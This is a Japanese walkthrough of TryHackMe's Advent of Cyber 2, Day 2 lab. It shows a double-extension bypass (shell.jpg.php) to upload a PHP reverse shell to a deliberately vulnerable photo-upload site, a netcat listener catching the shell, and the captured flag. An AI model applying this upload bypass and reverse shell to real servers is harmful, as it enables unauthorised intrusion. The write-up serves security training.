[TryHackMe] Advent of Cyber 2, Day 2 - Walkthrough -
本稿では、TryHackMeにて提供されている「Advent of Cyber 2」ルームに関する攻略方法(Walkthrough)について検証します。
「Advent of Cyber 2」は「free room」(無料)で提供されています。購読を必要とせずに仮想マシンを「展開(Deploy)」することができます。
『Advent of Cyber 2』のWalkthroughインデックスを「[TryHackMe] Advent of Cyber 2に参加してみた」にて公開しました。
[Day 2] Web Exploitation: The Elf Strikes Back
ストーリー
昨日の英雄的な行動によって、
Christmas Control Centre
の制御を取り戻した後、エルフ・McSkidyはあなたへ重要な仕事を任せることを決断しました。「ハッキングされていることが判明しているので、自分たちを守る方法が必要です!開発チームは、工場の周りをうろついている不審者の写真をアップロードするためのエルフ専用ウェブサイトを立ち上げました。プロダクションネットワークへ追加する前に安全であることを確認する必要があります。新たなサーバーに対するセキュリティ監査を実施し、ハッキングされないことを確認してください!」
書類の下側に次のメッセージが書かれた付箋があります。
エルフ・McEagerへ
あなたにはシステムの監査用にID番号が割り当てられています。YOUR_ID_HERE
これを使ってサイトのアップロードセクションにアクセスしてください。
頑張ってください。
ID番号を書き留め、ブラウザから「不審者の写真アップロード」システムにアクセスします。
Day 2 - #1.
What string of text needs adding to the URL to get access to the upload page?
ブラウザで「不審者の写真アップロード」システムへアクセスすると、Please enter your ID as a GET parameter
と指示が表示されています。
?id=YOUR_ID_HERE
「GETパラメータ(GET parameter)」とは、クライアントのWebブラウザから、Webサーバー側に送信するデータをURLの末尾に特定の形式で表示したものです。URLの末尾に?
記号を付け、「パラメータ名=値」
の形式で記述します。
解答は「?id=YOUR_ID_HERE」がヒントです。
Day 2 - #2.
What type of file is accepted by the site?
Firefox
ではCtrl + U
キーでHTMLソースコードを確認することができます。
次のコードが気になります。
<input type=file id="chooseFile" accept=".jpeg,.jpg,.png">
アップロードされたファイルの拡張子をチェックしています。この場合、許可リスト「accept=".jpeg,.jpg,.png"
」に含まれる拡張子をもつファイルのみがアップロードの許可がされています。
解答は「画像」の英語表記です。
Day 2 - #3.
In which directory are the uploaded files stored?
画像をアップロードするシステムです。このことからいくつかのディレクトリ名(/uploads
,/images
, /media
,/resources
など)を推定することができます。
Day 2 - #4.
Activate your reverse shell and catch it in a netcat listener!
攻撃端末側でnc
コマンド構文を使用し、リバースシェルからの接続を待ち受けます。
kali@kali:~$ nc -lnvp 4444
listening on [any] 4444 ...
Day 2 - #5.
What is the flag in
/var/www/flag.txt
?
pentestmonkey のリバースシェル php-reverse-shell を設置する方法を検討します。
事前に
php-reverse-shell.php
ソースコードを編集し、$ip
の値を攻撃端末(Kali
)のIPアドレスに変更しておきます。
php-reverse-shell.php
ファイルを「不審者の写真アップロード」システムにアップロードします。
そのためには、「ファイル拡張子フィルタリング」を回避する必要があります。
そこで、拡張子を「.jpg.php」に変更します。ファイル拡張子フィルタリングは前方一致にてアップロードされたファイルの拡張子を判別しています。
ここでは、php-reverse-shell.php
をshell.jpg.php
へリネームしました。アップロードは成功です。
/uploads/
ディレクトリへアクセスします。shell.jpg.php
ファイルがアップロードされていることが確認できます。
shell.jpg.php
ファイルをクリックすると、攻撃端末で待ち受けていたnc
が起動します。
kali@kali:~$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.11.19.198] from (UNKNOWN) [10.10.211.110] 40344
Linux security-server 4.18.0-193.28.1.el8_2.x86_64 #1 SMP Thu Oct 22 00:20:22 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
21:26:19 up 1:52, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=48(apache) gid=48(apache) groups=48(apache)
sh: cannot set terminal process group (862): Inappropriate ioctl for device
sh: no job control in this shell
sh-4.4$
/var/www/
ディレクトリにアクセスしてみます。
sh-4.4$ cd /var/www/
sh-4.4$ ls
ls
cgi-bin
flag.txt
html
flag.txt
ファイルが見つかりました。
cat flag.txt
==============================================================
You've reached the end of the Advent of Cyber, Day 2 -- hopefully you're enjoying yourself so far, and are learning lots!
This is all from me, so I'm going to take the chance to thank the awesome @Vargnaar for his invaluable design lessons, without which the theming of the past two websites simply would not be the same.
Have a flag -- you deserve it!
THM{MGU3...{BLOCKED}...Mzhh}
Good luck on your mission (and maybe I'll see y'all again on Christmas Eve)!
--Muiri (@MuirlandOracle)
==============================================================
これにて、「不審者の写真アップロード」システムのセキュリティ監査は終了です。このままプロダクションネットワークへ追加するわけにはいかないようです。
2日目のミッションが終了です。
参考になるTryHackMeのルーム
Walkthrough
- Constant Vigilance, The Elf Strikes Back - web exploitation, フラグ取得までを自動化したPythonコード
- BRYAN WENDT, TryHackMe – Advent of Cyber 2 – Day 2 – Walkthrough
- NEERANJAN MURUGAN, Advent of Cyber 2 ~ Try Hack Me
- Constant Vigilance, The Elf Strikes Back - web exploitation, フラグ取得までを自動化したPythonコード
- BRYAN WENDT, TryHackMe – Advent of Cyber 2 – Day 2 – Walkthrough
- NEERANJAN MURUGAN, Advent of Cyber 2 ~ Try Hack Me
Author And Source
この問題について([TryHackMe] Advent of Cyber 2, Day 2 - Walkthrough -), 我々は、より多くの情報をここで見つけました https://qiita.com/v_avenger/items/08b34a53a4122ec3e5cb著者帰属:元の著者の情報は、元のURLに含まれています。著作権は原作者に属する。
Content is automatically searched and collected through network algorithms . If there is a violation . Please contact us . We will adjust (correct author information ,or delete content ) as soon as possible .